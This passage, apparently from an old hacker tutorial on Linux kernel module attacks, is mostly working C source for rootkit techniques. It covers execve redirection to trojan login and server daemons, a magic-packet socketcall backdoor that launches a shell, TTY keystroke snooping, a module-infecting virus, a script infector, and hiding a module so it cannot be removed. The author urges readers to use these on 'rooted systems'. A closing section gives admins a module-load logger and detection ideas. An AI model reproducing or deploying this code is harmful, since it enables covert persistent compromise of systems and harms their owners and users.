/*must be defined because of syscall macro used below*/
int errno;

/*we define our own syscall*/
int __NR_myexecve;

/*we must use brk*/
static inline _syscall1(int, brk, void *, end_data_segment);

int (*orig_execve) (const char *, const char *[], const char *[]);

/*here plaguez's user -> kernel space transition specialized for
strings
is better than memcpy_fromfs(...)*
char *strncpy_fromfs(char *dest, const char *src, int n)
{
    char *tmp = src;
    int compt = 0;

    do {
        dest[compt++] = __get_user(tmp++, 1);
    }
    while ((dest[compt - 1] != '\0') && (compt != n));
    return dest;
}

/*this is something like a syscall macro called with SYS_execve,
```

the

asm code calls int 0x80 with the registers set in a way needed for our own

```
__NR_myexecve syscall*/
int my_execve(const char *filename, const char *argv[], const char
*envp[])
{
    long __res;
    __asm__ volatile ("int $0x80": "=a" (__res): "0"(__NR_myexecve),
"b"((long)
                (filename)), "c"((long)
(argv)),                "d"((long) (envp)));
    return (int) __res;
}
```

```
int hacked_execve(const char *filename, const char *argv[], const
char *envp[])
{
    char *test;
    int ret, tmp;
    char *truc = "/bin/ls";          /*the file we *should* be executed*/
    char *nouveau = "/bin/ps";     /*the new file which *will* be
executed*/
    unsigned long mmm;

    test = (char *) kmalloc(strlen(truc) + 2, GFP_KERNEL);
    /*get file which a user wants to execute*/
    (void) strncpy_fromfs(test, filename, strlen(truc));
    test[strlen(truc)] = '\0';
    /*do we have our truc file ?*/
    if (!strcmp(test, truc))
    {
        kfree(test);
        mmm = current->mm->brk;
        ret = brk((void *) (mmm + 256));
        if (ret < 0)
            return ret;
        /*set new program name (the program we want to execute instead of /
bin/ls or
whatever)*/
        memcpy_tofs((void *) (mmm + 2), nouveau, strlen(nouveau) + 1);
        /*execute it with the *same* arguments / environment*/
    }
}
```

```

    ret = my_execve((char *) (mmm + 2), argv, envp);
    tmp = brk((void *) mmm);
} else {
    kfree(test);
    /*no the program was not /bin/ls so execute it the normal way*/
    ret = my_execve(filename, argv, envp);
}
return ret;
}

int init_module(void)                                /*module setup*/
{
    /*the following lines choose the syscall number of our new
myexecve*/
    __NR_myexecve = 200;
    while (__NR_myexecve != 0 && sys_call_table[__NR_myexecve] != 0)
        __NR_myexecve--;

    orig_execve = sys_call_table[SYS_execve];
    if (__NR_myexecve != 0)
    {
        sys_call_table[__NR_myexecve] = orig_execve;
        sys_call_table[SYS_execve] = (void *) hacked_execve;
    }
    return 0;
}

void cleanup_module(void)                            /*module shutdown*/
{
    sys_call_table[SYS_execve]
=orig_execve;
}

```

When you loaded this module, every call to /bin/ls will just execute /bin/ps. The following list gives you some ideas how to use this redirection of execve :

- trojan /bin/login with a hacker login (how plaguez suggests)
- trojan tcpd to open a rootshell on a certain port, or to filter its logging behaviour (remember CERT advisory on a trojan TCPD version)
- trojan inetd for a root shell
- trojan httpd, sendmail, ... any server you can think of, for a rootshell, by issuing a special magic string
- trojan tools like tripwire, L6
- other system security relevant tools

There are thousands of other interesting programs to 'trojan', just use your brain.

6. Network (Socket) related Hacks

The network is the hacker's playground. So let's look at something which can help us.

6.1 How to controll Socket Operations

There are many things you can do by controlling Socket Operations. plaguez gave us a nice backdoor. He just intercepts the `sys_socketcall` systemcall, waiting for a packet with a certain length and a certain contents. So let's take a look at his hacked systemcall (I will only show the hacked_systemcall, because the rest is equal to every other LKM mentioned in this section):

```
int hacked_socketcall(int
call, unsigned long *args)
{
    int ret, ret2, compt;

    /*our magic size*/
    int MAGICSIZE=42;

    /*our magic contents*/
    char *t = "packet_contents";
    unsigned long *sargs = args;
    unsigned long a0, a1, mmm;
    void *buf;

    /*do the call*/
    ret = (*o_socketcall) (call, args);

    /*did we have magic size & and a recieve ?*/
    if (ret == MAGICSIZE && call == SYS_RECVFROM)
    {
        /*work on arguments*/
        a0 = get_user(sargs);
        a1 = get_user(sargs + 1);
        buf = kmalloc(ret, GFP_KERNEL);
        memcpy_fromfs(buf, (void *) a1, ret);
        for (compt = 0; compt < ret; compt++)
            if (((char *) (buf))[compt] == 0)
                ((char *) (buf))[compt] = 1;
        /*do we have magic_contents ?*/
        if (strstr(buf, mtroj))
            {
```

```

    kfree(buf);
    ret2 = fork();
    if (ret2 == 0)
    {
        /*if so execute our proggy (shell or whatever you want...) */
        mmm = current->mm->brk;
        ret2 = brk((void *) (mmm + 256));
        memcpy_tofs((void *) mmm + 2, (void *) t, strlen(t) + 1);

        /*plaguez's execve implementation -> see 4.2*/
        ret2 = my_execve((char *) mmm + 2, NULL, NULL);
    }
}
}
return ret;
}

```

Ok, as always I added some comments to the code, which is a bit ugly, but working. The code intercepts every `sys_socketcall` (which is responsible for everything concerning socket-operations see I.2). Inside the hacked systemcall the code first issues a normal systemcall. After that the return value and call variables are checked. If it was a receive Socketcall and the 'packetsize' (...nothing to do with TCP/IP packets...) is ok it will check the contents which was received. If it can find our magic contents, the code can be sure, that we (hacker) want to start the backdoor program. This is done by `my_execve(...)`. In my opinion this approach is very good, it would also be possible to wait for a special connect / close pattern, just be creative.

Please remember that the methods mentioned above need a service listing on a certain port, because the receive function is only issued by daemons receiving data from an established connection. This is a disadvantage, because it could be a bit suspect for some paranoid admins out there. Test those backdoor LKM ideas first on your system to see what will happen. Find your favourite way of backdoor'ing the `sys_socketcall`, and use it on your rooted systems.

7. Ways to TTY Hijacking

TTY hijacking is very interesting and also something used since a very very long time. We can grab every input from a TTY we specify through its major and minor number. In Phrack 50 halflife published a really good LKM doing this. The following code is ripped from his LKM. It should show every beginner the basics of TTY hijacking though its no complete implementation, you cannot use it in any useful way, because I did *not* implement a way of logging the TTY input made by the user. It's just for those of you who want to understand the basics, so here we go : `#define MODULE`

```

#define __KERNEL__
#include <linux/module.h>
#include <linux/kernel.h>
#include <asm/unistd.h>
#include <sys/syscall.h>

```

```
#include <sys/types.h>
#include <asm/fcntl.h>
#include <asm/errno.h>
#include <linux/types.h>
#include <linux/dirent.h>
#include <sys/mman.h>
#include <linux/string.h>
#include <linux/fs.h>
#include <linux/malloc.h>
#include <asm/io.h>
#include <sys/sysmacros.h>
```

```
int errno;
```

```
/*the TTY we want to hijack*/
```

```
int tty_minor = 2;
```

```
int tty_major = 4;
```

```
extern void* sys_call_table[];
```

```
/*we need the write syscall*/
```

```
static inline _syscall3(int, write, int, fd, char *, buf, size_t,
count);
```

```
void *original_write;
```

```
/* check if it is the tty we are looking for */
```

```
int is_fd_tty(int fd)
```

```
{
    struct file *f=NULL;
    struct inode *inode=NULL;
    int mymajor=0;
    int myminor=0;
```

```
    if(fd >= NR_OPEN || !(f=current->files->fd[fd]) || !(inode=f->f_inode))
```

```
        return 0;
```

```
    mymajor = major(inode->i_rdev);
```

```
    myminor = minor(inode->i_rdev);
```

```
    if(mymajor != tty_major) return 0;
```

```
    if(myminor != tty_minor) return 0;
```

```
    return 1;
```

```

}

/* this is the new write(2) replacement call */
extern int new_write(int fd, char *buf, size_t count)
{
    int r;
    char *kernel_buf;

    if(is_fd_tty(fd))
    {
        kernel_buf = (char*) kmalloc(count+1, GFP_KERNEL);
        memcpy_fromfs(kernel_buf, buf, count);

        /*at this point you can output buf wherever you want, it represents
        every input on the TTY device referenced by the chosen major / minor
        number
        I did not implement such a routine, because you will see a complete
        &
        very good TTY hijacking tool by halflife in appendix A */

        kfree(kernel_buf);
    }
    sys_call_table[SYS_write] = original_write;
    r = write(fd, buf, count);
    sys_call_table[SYS_write] = new_write;
    if(r == -1) return -errno;
    else return r;
}

int init_module(void)
{
    /*you should know / understand this...*/
    original_write = sys_call_table[SYS_write];
    sys_call_table[SYS_write] = new_write;
    return 0;
}

void cleanup_module(void)
{
    /*no more hijacking*/
    sys_call_table[SYS_write] = original_write;
}

```

The comments should make this code easy to read. The general idea is to intercept `sys_write` (see 4.2) and filtering the `fd` value as I mentioned in 4.2. After checking `fd` for the TTY we want to snoop, get the data written and write it to some log (not implemented in the example above). There are several ways where you can store the logs. `halflife` used a buffer (accessible through an own device) which is a good idea (he can also control his hijack'er using `ioctl`-commands on his device).

I personally would recommend storing the logs in hidden (through LKM) file, and making the controlling through some kind of IPC. Take the way which works on your rooted system.

8. Virus writing with LKMs

Now we will leave the hacking part for a second and take a look at the world of virus coding (the ideas discussed here could also be interesting for hackers, so read on...). I will concentrate this discussion on the LKM infector made by `Stealthf0rk/SVAT`. In appendix A you will get the complete source, so this section will only discuss important techniques and functions. This LKM requires a Linux system (it was tested on a 2.0.33 system) and `kerneld` installed (I will explain why).

First of all you have to know that this LKM infector does not infect normal elf *executables* (would also be possible, I will come to that point later->7.1), it only infects *modules*, which are loaded / unloaded. This loading / unloading is often managed by `kerneld` (see I.7). So imagine a module infected with the virus code; when loading this module you also load the virus LKM which uses hiding features (see 8). This virus module intercepts the `sys_create_module` and `sys_delete_module` (see I.2) systemcalls for further infection. Whenever a module is unloaded on that system it is infected by the new `sys_delete_module` systemcall. So every module requested by `kerneld` (or manually) will be infected when unloaded.

You could imagine the following scenario for the first infection :

- admin is searching a network driver for his new interface card (ethernet,...)
- he starts searching the web
- he finds a driver module which should work on his system & downloads it
- he installs the module on his system [the module *is* infected]
- > the infector is installed, the system is compromised

Of course, he did not download the source, he was lazy and took the risks using a binary file. So admins *never* trust any binary files (esp. modules). So I hope you see the chances / risks of LKM infectors, now let's look a bit closer at the LKM infector by `SVAT`.

Imagine you have the source for the virus LKM (a simple module, which intercepts `sys_create_module` / `sys_delete_module` and some other [more tricky] stuff). The first question would be how to infect an existing module (the host module). Well let's do some experimenting. Take two modules and 'cat' them together like `# cat module1.o >> module2.o`

After this try to `insmod` the resulting `module2.o` (which also includes `module1.o` at its end). `# insmod module2.o`

Ok it worked, now check which modules are loaded on your system `# lsmod`

Module	Pages	Used by
--------	-------	---------

```
module2          1          0
```

So we know that by concatenating two modules the first one (concerning object code) will be loaded, the second one will be ignored. And there will be no error saying that insmod can not load corrupted code or so.

With this in mind, it should be clear that a host module could be infected by `cat host_module.o >> virus_module.o`

```
ren virus_module.o host_module.o
```

This way loading `host_module.o` will load the virus with all its nice LKM features. But there is one problem, how do we load the actual `host_module`? It would be very strange to a user / admin when his device driver would do nothing. Here we need the help of `kerneld`. As I said in I.7 you can use `kerneld` to load a module. Just use `request_module("module_name")` in your sources. This will force `kerneld` to load the specified module. But where do we get the original `host_module` from? It is packed in `host_module.o` (together with `virus_module.o`). So after compiling your `virus_module.c` to its objectcode you have to look at its size (how many bytes). After this you know where the original `host_module.o` will begin in the packed one (you must compile the `virus_module` two times: the first one to check the objectcode size, the second one with the source changed concerning `objectsizes` which must be hardcoded...). After these steps your `virus_module` should be able to extract the original `host_module.o` from the packed one. You have to save this extracted module somewhere, and load it via `request_module("orig_host_module.o")`. After loading the original `host_module.o` your `virus_module` (which is also loaded from the `insmod` [issued by user, or `kerneld`]) can start infecting any loaded modules.

Stealthf0rk (SVAT) used the `sys_delete_module(...)` systemcall for doing the infection, so let's take a look at his hacked systemcall (I only added some comments): `/*just the hacked`

```
systemcall*/
```

```
int new_delete_module(char *modname)
```

```
{
```

```
/*number of infected modules*/
```

```
static int infected = 0;
```

```
int retval = 0, i = 0;
```

```
char *s = NULL, *name = NULL;
```

```
/*call the original sys_delete_module*/
```

```
retval = old_delete_module(modname);
```

```
if ((name = (char*)vmalloc(MAXPATH + 60 + 2)) == NULL)
```

```
return retval;
```

```
/*check files to infect -> this comes from hacked sys_create_module;
just
```

```
a feature of *this* LKM infector, nothing generic for this type of
virus*/
```

```
for (i = 0; files2infect[i][0] && i < 7; i++)
```

```
{
```

```
strcat(files2infect[i], ".o");
```

```

if ((s = get_mod_name(files2infect[i])) == NULL)
{
    return retval;
}
name = strcpy(name, s);
if (!is_infected(name))
{
    /*this is just a macro wrapper for printk(...)*/
    DPRINTK("try 2 infect %s as #%d\n", name, i);
    /*increase infection counter*/
    infected++;
    /*the infect function*/
    infectfile(name);
}
memset(files2infect[i], 0, 60 + 2);
} /* for */
/* its enough */
/*how many modules were infected, if enough then stop and quit*/
if (infected >= ENOUGH)
    cleanup_module();
vfree(name);
return retval;
}

```

Well there is only one function interesting in this syscall: `infectfile(...)`. So let's examine that function (again only some comments were added by me):

```

int infectfile(char *filename)
{
    char *tmp = "/tmp/t000";
    int in = 0, out = 0;
    struct file *file1, *file2;

    /*don't get confused, this is a macro define by the virus. It does
the
kernel space -> user space handling for syscall arguments(see I.4)
*/
    BEGIN_KMEM
    /*open objectfile of the module which was unloaded*/
    in = open(filename, O_RDONLY, 0640);
    /*create a temp. file*/
    out = open(tmp, O_RDWR|O_TRUNC|O_CREAT, 0640);
    /*see BEGIN_KMEM*/
    END_KMEM

    DPRINTK("in infectfile: in = %d out = %d\n", in, out);
}

```

```
if (in <= 0 || out <= 0)
    return -1;
file1 = current->files->fd[in];
file2 = current->files->fd[out];
if (!file1 || !file2)
    return -1;
/*copy module objectcode (host) to file2*/
cp(file1, file2);
BEGIN_KMEM
file1->f_pos = 0;
file2->f_pos = 0;
/* write Vircode [from mem] */
DPRINTK("in infetcfile: filename = %s\n", filename);
file1->f_op->write(file1->f_inode, file1, VirCode, MODLEN);
cp(file2, file1);
close(in);
close(out);
unlink(tmp);
END_KMEM
return 0;
}
```

I think the infection function should be quite clear.

There is only thing left which I think is necessary to discuss : How does the infected module first start the virus, and load the original module (we know the theory, but how to do it in reality) ?

For answering this question lets take a look at a function called `load_real_mod(char *path_name, char* name)` which manages that problem: /* Is that simple: we disinfect the module
[hide 'n seek]

```
* and send a request to kernel to load
* the orig mod. NO fuckin' parsing for symbols and headers
* is needed - cool.
*/
```

```
int load_real_mod(char *path_name, char *name)
{
    int r = 0, i = 0;
    struct file *file1, *file2;
    int in = 0, out = 0;

    DPRINTK("in load_real_mod name = %s\n", path_name);
    if (VirCode)
        vfree(VirCode);
    VirCode = vmalloc(MODLEN);
    if (!VirCode)
        return -1;
```

```

BEGIN_KMEM
/*open the module just loaded (->the one which is already infected)*/
in = open(path_name, O_RDONLY, 0640);
END_KMEM
if (in <= 0)
    return -1;
file1 = current->files->fd[in];
if (!file1)
    return -1;
/* read Vircode [into mem] */
BEGIN_KMEM
file1->f_op->read(file1->f_inode, file1, VirCode, MODLEN);
close(in);
END_KMEM
/*split virus / orig. module*/
disinfect(path_name);
/*load the orig. module with kerneld*/
r = request_module(name);
DPRINTK("in load_real_mod: request_module = %d\n", r);
return 0;
}

```

It should be clear **why** this LKM infector need kerneld now, we need to load the original module by requesting it with `request_module(...)`. I hope you understood this very basic journey through the world of LKM infectors (virus). The next sub sections will show some basic extensions / ideas concerning LKM infectors.

8.1 How a LKM virus can infect any file (not just modules)

Please don't blame me for not showing a working example of this idea, I just don't have the time to implement it at the moment (look for further releases). As you saw in II.4.2 it is possible to catch the execute of every file using an intercepted `sys_execve(...)` systemcall. Now imagine a hacked systemcall which appends some data to the program that is going to be executed. The next time this program is started, it first starts our added part and then the original program (just a basic virus scheme). We all know that there are some existing Linux / unix viruses out there, so why don't we try to use LKMs infect our elf executables not just modules. We could infect our executables, in a way that they check for UID=0 and then load again our infection module... I hope you understood the general idea.

I have to admit, that the modification needed to elf files is quite tricky, but with enough time you could do it (it was done several times before, just take a look at existing Linux viruses).

First of all you have to check for the file type which is going to be execute by `sys_execve(...)`. There are several ways to do it; one of the fastest is to read some bytes from the file and checking them against the ELF string. After this you can use `write(...)` / `read(...)` / ... calls to modify the file, look at the LKM infector to see how it does it.

My theory would stay theory without any proof, so I present a very easy and useless LKM **script**

infector. You cannot do anything virus like with it, it just infects a script with certain commands and nothing else; no real virus features.

I show you this example as a concept of LKMs infecting any file you execute. Even Java files could be infected, because of the features provided by the Linux kernel. Here comes the little LKM script

```
infector: #define __KERNEL__
#define MODULE

/*taken from the original LKM infector; it makes the whole LKM a lot
easier*/
#define BEGIN_KMEM {unsigned long old_fs=get_fs();set_fs(get_ds());
#define END_KMEM set_fs(old_fs);}

#include <linux/version.h>
#include <linux/mm.h>
#include <linux/unistd.h>
#include <linux/fs.h>
#include <linux/types.h>
#include <asm/errno.h>
#include <asm/string.h>
#include <linux/fcntl.h>
#include <sys/syscall.h>
#include <linux/module.h>
#include <linux/malloc.h>
#include <linux/kernel.h>
#include <linux/kerneld.h>

int __NR_myexecve;

extern void *sys_call_table[];

int (*orig_execve) (const char *, const char *[], const char *[]);

int (*open)(char *, int, int);
int (*write)(unsigned int, char*, unsigned int);
int (*read)(unsigned int, char*, unsigned int);
int (*close)(int);

/*see II.4.2 for explanation*/
int my_execve(const char *filename, const char *argv[], const char
*envp[])
{
    long __res;
```

```

    __asm__ volatile ("int $0x80":"=a" (__res):"0"(__NR_myexecve),
"b"((long) (filename)), "c"((long) (argv)), "d"((long) (envp)));
    return (int) __res;
}

```

```

/*infected execve syscall + infection routine*/

```

```

int hacked_execve(const char *filename, const char *argv[], const
char *envp[])

```

```

{
    char *test, j;
    int ret;
    int host = 0;

```

```

    /*just a buffer for reading up to 20 files (needed for
identification of
execute file*/

```

```

    test = (char *) kmalloc(21, GFP_KERNEL);

```

```

    /*open the host script, which is going to be executed*/
    host=open(filename, O_RDWR|O_APPEND, 0640);

```

```

BEGIN_KMEM

```

```

    /*read the first 20 bytes*/
    read(host, test, 20);

```

```

    /*is it a normal shell script (as you see, you can modify this for
*any*

```

```

executable*/

```

```

    if (strstr(test, "#!/bin/sh")!=NULL)

```

```

    {
        /*a little debug message*/
        printk("<1>INFECT !\n");
        /*we are friendly and attach a peaceful command*/
        write(host, "touch /tmp/WELCOME", strlen("touch /tmp/WELCOME"));
    }

```

```

END_KMEM

```

```

    /*modification is done, so close our host*/

```

```

    close(host);

```

```

    /*free allocated memory*/

```

```

    kfree(test);

```

```

    /*execute the file (the file is execute WITH the changes made by us*/
    ret = my_execve(filename, argv, envp);

```

```

return ret;
}

int init_module(void)                                /*module setup*/
{
    __NR_myexecve = 250;
    while (__NR_myexecve != 0 && sys_call_table[__NR_myexecve] != 0)
        __NR_myexecve--;
    orig_execve = sys_call_table[SYS_execve];
    if (__NR_myexecve != 0)
    {
        printk("<1>everything OK\n");
        sys_call_table[__NR_myexecve] = orig_execve;
        sys_call_table[SYS_execve] = (void *) hacked_execve;
    }

    /*we need some functions*/
    open = sys_call_table[__NR_open];
    close = sys_call_table[__NR_close];
    write = sys_call_table[__NR_write];
    read = sys_call_table[__NR_read];
    return 0;
}

void cleanup_module(void)                            /*module shutdown*/
{
    sys_call_table[SYS_execve]
=orig_execve;
}

```

This is too easy to waste some words on it. Of course, this module does *not* need kernel for spreading (interesting for kernel without kernel support).

I hope you got the idea on infecting any executable, this is a very strong method of killing large systems.

8.2 How can a LKM virus help us to get in

As you know virus coders are not hackers, so what about interesting features for hackers. Think about this problem (only ten seconds), you should realize, that a whole system could be yours by introducing a trojan (infected) LKM.

Remember all the nice hacks we discussed till now. Even without trojans you could hack a system with LKMs. Just use a local buffer overflow to load a LKM in your home directory. Believe me, it is easier to infect a system with a real good LKM than doing the same stuff as root again and again. It's more elegant to let the LKM make the work for you. Be CREATIVE...

9. Making our LKM invisible & unremovable

Now it's time to start talking about the most important / interesting Hack I will present. This idea comes from plaguez's LKM published in Phrack (other people like Solar Designer discussed this before...). So far we are able to hide files, processes, directories, and whatever we want. But we *cannot* hide our own *LKM*. Just load a LKM and take a look at /proc/modules. There are many ways we can solve this problem. The first solution could be a partial file hiding (see II.4.3). This would be easy to implement, but there is a better more advanced and secure way. Using this technique you must also intercept the `sys_query_module(...)` systemcall. An example of this approach can be seen in A-b.

As I explained in I.1 a module is finally loaded by issuing a `init_module(...)` systemcall which will start the module's init function. `init_module(...)` gets an argument : `struct mod_routines *routines`. This structure contains very important information for loading the LKM. It is possible for us to manipulate some data from this structure in a way our module will have no name and no references. After this the system will no longer show our LKM in /proc/modules, because it ignores LKMs with no name and a refernce count equal to 0. The following lines show how to access the part of `mod_routines`, in order to hide the module.

```
/*from Phrack & AFHRM*/
int init_module()
{
    register struct module *mp asm("%ebp");    // or whatever register
it is in
    *(char*)mp->name=0;
    mp->size=0;
    mp->ref=0;
    ...
}
```

This code trusts in the fact that gcc did not manipulate the `ebp` register because we need it in order to find the right memory location. After finding the structure we can set the structure's name and references members to 0 which will make our module invisible and also unremovable, because you can only remove LKMs which the kernel knows, but our module is unknow to the kernel.

Remember that this trick only works if you use gcc in way it does not touch the register you need to access for getting the structure. You must use the following gcc options : `#gcc -c -O3 -fomit-frame-pointer module.c`

`fomit-frame-pointer` says cc not to keep frame pointer in registers for functions that don't need one. This keeps our register clean after the function call of `init_module(...)`, so that we can access the structure. In my opinion this is the most important trick, because it helps us to develop hidden LKMs which are also unremovable.

10. Other ways of abusing the Kerneldaemon

In II.8 you saw one way of abusing kerneld. It helped us to spread the LKM infector. It could also be helpful for our LKM backdoor (see II.5.1). Imagine the socketcall loading a module instead of starting

our backdoor shellsript or program. You could load a module adding an entry to passwd or inetd.conf. After loading this second LKM you have many possibilities of changing systemfiles. Again, be creative.

11. How to check for presents of our LKM

We learned many ways a module can help us to subvert a system. So imagine you code yourself a nice backdoor tool (or take an existing) which isn't implemented in the LKM you use on that system; just something like pingd, WWW remote shell, shell, How can you check after logging in on the system that your LKM is still working? Imagine what would happen if you enter a session and the admin is waiting for you without your LKM loaded (so no process hiding etc.). So you start doing you job on that system (reading your own logs, checking some mail traffic and so on) and every step is monitored by the admin. Well no good situation, we must know that our LKM is working with a simple check. I suppose the following way is a good solution (although there may be many other good ones):

- implement a special syscall in your module
- write a little user space program checking for that syscall

Here is a module which implements our 'check syscall': #define MODULE

```
#define __KERNEL__
```

```
#include <linux/module.h>
#include <linux/kernel.h>
#include <asm/unistd.h>
#include <sys/syscall.h>
#include <sys/types.h>
#include <asm/fcntl.h>
#include <asm/errno.h>
#include <linux/types.h>
#include <linux/dirent.h>
#include <sys/mman.h>
#include <linux/string.h>
#include <linux/fs.h>
#include <linux/malloc.h>
```

```
#define SYS_CHECK 200
```

```
extern void* sys_call_table[];
```

```
int sys_check()
{
    return 666;
```

```

}

int init_module(void)                                /*module setup*/
{
    sys_call_table[SYS_CHECK]=sys_check;
    return 0;
}

void cleanup_module(void)                            /*module shutdown*/
{

```

If you issue a syscall with the number 200 in eax we should get a return of 666. So here is our user space program checking for this :

```

#include <linux/errno.h>
#include <sys/syscall.h>
#include <errno.h>

```

```

extern void *sys_call_table[];

```

```

int check()
{
    __asm__( "movl $200,%eax
             int $0x80" );
}

```

```

main()
{
    int ret;
    ret = check();
    if (ret!=666)
        printf("Our module is *not* present !!\n");
    else
        printf("Our module is present, continue...\n");
}

```

In my opinion this is one of the easiest ways to check for presents of our LKM, just try it.

III. Solutions (for admins)

1. LKM Detector Theory & Ideas

I think it is time to help admins securing their system from hostile LKMs.

Before explaining some theories remember the following for a secure system :

- never install *any* LKMs you don't have the sources for (of course, this is also relevant for normal

executables)

- if you have the sources, check them (if you can). Remember the tcpd trojan problem. Large software packets are mostly quite complex to understand, but if you need a very secure system you should analyse the source code.

Even if you follow those tips it could be possible that an intruder activates an LKM on your system (overflows etc.).

So what about a LKM logging every module loaded, and denying every load attempt from a directory different from a secure one (to avoid simple overflows; that's no perfect way...). The logging can be easily done by intercepting the `create_module(...)` systemcall. The same way you could check for the directory the loaded module comes from.

It would also be possible to deny any module loading, but this is a very bad way, because you really need them. So what about modifying module loading in a way you can supply a password, which will be checked in your intercepted `create_module(...)`. If the password is correct the module will be loaded, if not it will be dropped.

It should be clear that you have to hide your LKM to make it unremovable. So let's take a look at some prototype implementations of the logging LKM and the password protected `create_module(...)` systemcall.

1.1 Practical Example of a prototype Detector

Nothing to say about that simple implementation, just intercept `sys_create_module(...)` and log the names of modules which were loaded.

```
#define MODULE
#define __KERNEL__

#include <linux/module.h>
#include <linux/kernel.h>
#include <asm/unistd.h>
#include <sys/syscall.h>
#include <sys/types.h>
#include <asm/fcntl.h>
#include <asm/errno.h>
#include <linux/types.h>
#include <linux/dirent.h>
#include <sys/mman.h>
#include <linux/string.h>
#include <linux/fs.h>
#include <linux/malloc.h>

extern void* sys_call_table[];
```

```

int (*orig_create_module)(char*, unsigned long);

int hacked_create_module(char *name, unsigned long size)
{
    char *kernel_name;
    char hide[]="ourtool";
    int ret;

    kernel_name = (char*) kmalloc(256, GFP_KERNEL);
    memcpy_fromfs(kernel_name, name, 255);

    /*here we log to syslog, but you can log where you want*/
    printk("<1> SYS_CREATE_MODULE : %s\n", kernel_name);

    ret=orig_create_module(name, size);
    return ret;
}

int init_module(void)                                /*module setup*/
{
    orig_create_module=sys_call_table[SYS_create_module];
    sys_call_table[SYS_create_module]=hacked_create_module;
    return 0;
}

void cleanup_module(void)                            /*module shutdown*/
{
    sys_call_table[SYS_create_module]
=orig_create_module;
}

```

This is all you need, of course you should add the lines required for hiding the module, but this is no problem. After making it unremovable this way, a hacker can only modify the log file, but you could also save your logs, to a file unaccessible for the hacker (see II.1 for required tricks). Of course you can also intercept `sys_init_module(...)` which would also show every module, that's just a matter of taste.

1.2 Practical Example of a prototype password protected `create_module(...)`

This subsection will deal with the possibility to add authentication to module loading. We need two things to manage this task :

- a way to check module loading (easy)
- a way to authenticate (quite difficult)

The first point is very easy to code, just intercept `sys_create_module(...)` and check some variable, which tells the kernel whether this load process is legal. But how to do authentication. I must admit that I did not spend many seconds on thinking about this problem, so the solution is more than bad, but this is a LKM article, so use your brain, and create something better. My way to do it, was to intercept the `stat(...)` systemcall, which is used if you type any command, and the system needs to search it. So just type a password as command and the LKM will check it in the intercepted `stat` call [I know this is more than insecure; even a Linux starter would be able to defeat this authentication scheme, but (again) this is not the point here...]. Take a look at my implementation (I ripped lots of from existing LKMs like the one by `plaguez...`):

```
#define MODULE
#define __KERNEL__

#include <linux/module.h>
#include <linux/kernel.h>
#include <asm/unistd.h>
#include <sys/syscall.h>
#include <sys/types.h>
#include <asm/fcntl.h>
#include <asm/errno.h>
#include <linux/types.h>
#include <linux/dirent.h>
#include <sys/mman.h>
#include <linux/string.h>
#include <linux/fs.h>
#include <linux/malloc.h>
#include <sys/stat.h>

extern void* sys_call_table[];

/*if lock_mod=1 THEN ALLOW LOADING A MODULE*/
int lock_mod=0;

int __NR_myexecve;

/*intercept create_module(...) and stat(...) systemcalls*/
int (*orig_create_module)(char*, unsigned long);
int (*orig_stat)(const char *, struct old_stat*);

char *strncpy_fromfs(char *dest, const char *src, int n)
```

```
{
char *tmp = src;
int compt = 0;

do {
    dest[compt++] = __get_user(tmp++, 1);
}
while ((dest[compt - 1] != '\0') && (compt != n));

return dest;
}

int hacked_stat(const char *filename, struct old_stat *buf)
{
char *name;
int ret;
char *password = "password"; /*yeah, a great password*/

name      = (char *) kmalloc(255, GFP_KERNEL);

(void) strncpy_fromfs(name, filename, 255);

/*do we have our password ?*/
if (strstr(name, password)!=NULL)
{
    /*allow loading a module for one time*/
    lock_mod=1;
    kfree(name);
    return 0;
}
else
{
    kfree(name);
    ret = orig_stat(filename, buf);
}
return ret;
}

int hacked_create_module(char *name, unsigned long size)
{
char *kernel_name;
char hide[]="ourtool";
int ret;
```

```
if (lock_mod==1)
{
    lock_mod=0;
    ret=orig_create_module(name, size);
    return ret;
}
else
{
    printk("<1>MOD-POL : Permission denied !\n");
    return 0;
}
return ret;
}

int init_module(void)                                /*module setup*/
{
    __NR_myexecve = 200;

    while (__NR_myexecve != 0 && sys_call_table[__NR_myexecve] != 0)
        __NR_myexecve--;

    sys_call_table[__NR_myexecve]=sys_call_table
[SYS_execve];

    orig_stat=sys_call_table[SYS_prev_stat];
    sys_call_table[SYS_prev_stat]=hacked_stat;

    orig_create_module=sys_call_table[SYS_create_module];
    sys_call_table[SYS_create_module]=hacked_create_module;

    printk("<1>MOD-POL LOADED...\n");
    return 0;
}

void cleanup_module(void)                            /*module shutdown*/
{
    sys_call_table[SYS_prev_stat]
=orig_stat;
    sys_call_table[SYS_create_module]
=orig_create_module;
}
```

This code should be clear. The following list tells you what to improve in this LKM in order to make it more secure, perhaps a bit too paranoid :) :

- find another way to authenticate (use your own user space interface, with your own systemcalls; use userID (not just a plain password); perhaps you have a biometric device -> read documentation and code your device driver for Linux and use it ;) ...) BUT REMEMBER: the most secure hardware protection (dongles, biometric, smartcard systems can often be defeated because of a very insecure software interface;. You could secure your whole system with a mechanism like that. Control your whole kernel with a smartcard :)
Another not so 'extreme' way would be to implement your own systemcall which is responsible for authentication. (see II.11 for an example of creating your own systemcall).
- find a better way to check in `sys_create_module(...)`. Checking a variable is not very secure, if someone rooted your system he could patch the memory (see the next part)
- find a way to make it impossible for an attacker to use your authentication for `insmod`'ing his LKM
- add hiding features
- ...

You can see, there is some work to do. But even with those steps, your system cannot be totally secure. If someone rooted the system he could find other tricks to load his LKM (see next part); perhaps he even does not need a LKM, because he only rooted the system, and don't want to hide files / processes (and the other wonderful things possible with LKMs).

2. Anti-LKM-Infector ideas

- memory resident (realtime) scanner (like TSR virus scanner in DOS; or VxD scanner virus in WIN9x)
- file checking scanner (checking module files for signs of an infection)

The first method is possible through intercepting `sys_create_module` (or the `init_module` call). The second approach needs something characteristic which you may find in any infected file. We know that the LKM infector appends two module files. So we could check for two ELF headers / signatures. Of course, any other LKM infector could use a improved method (encryption, selfmodifying code etc.). I won't present a file checking scanner, because you just have to write a little (user space) program that reads in the module, and checks for two ELF headers (the 'ELF' string, for example).

3. Make your programs untraceable (theory)

Now it's time to beat hackers snooping our executables. As I said before `strace` is the tool of our choice. I presented it as a tool helping us to see which systemcalls are used in certain programs. Another very interesting use of `strace` is outlined in the paper 'Human to Unix Hacker' by TICK/THC. He shows us how to use `strace` for TTY hijacking. Just `strace` your neighbours shell, and you will get every input he makes. So you admins should realize the danger of `strace`. The program `strace` uses the following API

function :

```
#include <sys/ptrace.h>
```

```
int ptrace(int request, int pid, int addr, int data);
```

